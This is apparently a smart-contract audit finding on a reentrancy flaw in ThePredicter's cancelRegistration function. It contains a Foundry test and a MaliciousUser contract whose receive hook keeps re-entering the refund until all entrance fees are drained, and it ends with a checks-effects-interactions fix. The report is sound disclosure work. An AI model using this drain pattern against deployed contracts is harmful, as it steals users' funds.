**Description** A `USER` contract with his status as `PENDING` can call the `cancelRegistration` and reenter the function again and again until all the fees is drained out of the `ThePredictor` contract.
The `USER` contract can register by calling the `ThePredictor::registar` function. After the threshold time to register has passed and all the slots are filled, the `USER` contract with its status as still `PENDING` can call the `cancelRegistration` function for a refund.
The contract sends the `entranceFee` back to the malicious user contract. The latter reenters the `ThePredictor::cancelRegistration` function through its `receive` function. This loop continues until all the funds are drained.
**Impact** All the entrance fee collected from the players will be lost. There will be no amount left to distribute among the winners at the end of the tournament
**Proof of Concept**
<details><summary>POC</summary>
Place the following code in `ThePredicter.test.sol`:
```javascript
function test_Reentrancy()public{
uint256 entranceFee = 0.04 ether;
MaliciousUser user = new MaliciousUser(thePredicter,entranceFee);
vm.deal(address(user),0.04 ether);
vm.deal(address(organizer),0.04 ether);
vm.prank(address(user));
thePredicter.register{value:entranceFee}();
vm.startPrank(organizer);
thePredicter.register{value:entranceFee}();
thePredicter.approvePlayer(organizer);
vm.stopPrank();
for(uint160 i=0;i<29;i++){
address add = address(i);
vm.prank(add);
vm.deal(add,0.04 ether);
thePredicter.register{value:entranceFee}();
vm.prank(organizer);
thePredicter.approvePlayer(add);
}
console.log("Balance of predicter before attack: ",address(thePredicter).balance);
user.attack(); // Attack
console.log("Balance of predicter after attack: ",address(thePredicter).balance);
console.log("Balance of Malicious User after attack: ",address(user).balance);
assertEq(address(thePredicter).balance,0);
}
contract MaliciousUser{
ThePredicter predicter;
uint256 entranceFee;
constructor(ThePredicter _predicter,uint256 _entranceFee){
predicter = _predicter;
entranceFee= _entranceFee;
}
function attack()public{
predicter.cancelRegistration();
}
receive()external payable{
if((address(predicter).balance)>=entranceFee){
predicter.cancelRegistration();
}
}
}
```
</details>
**RecommendedMitigation** The function `cancelRegistration` should follow CEI
```diff
function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
+ playersStatus[msg.sender] = Status.Canceled;
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
```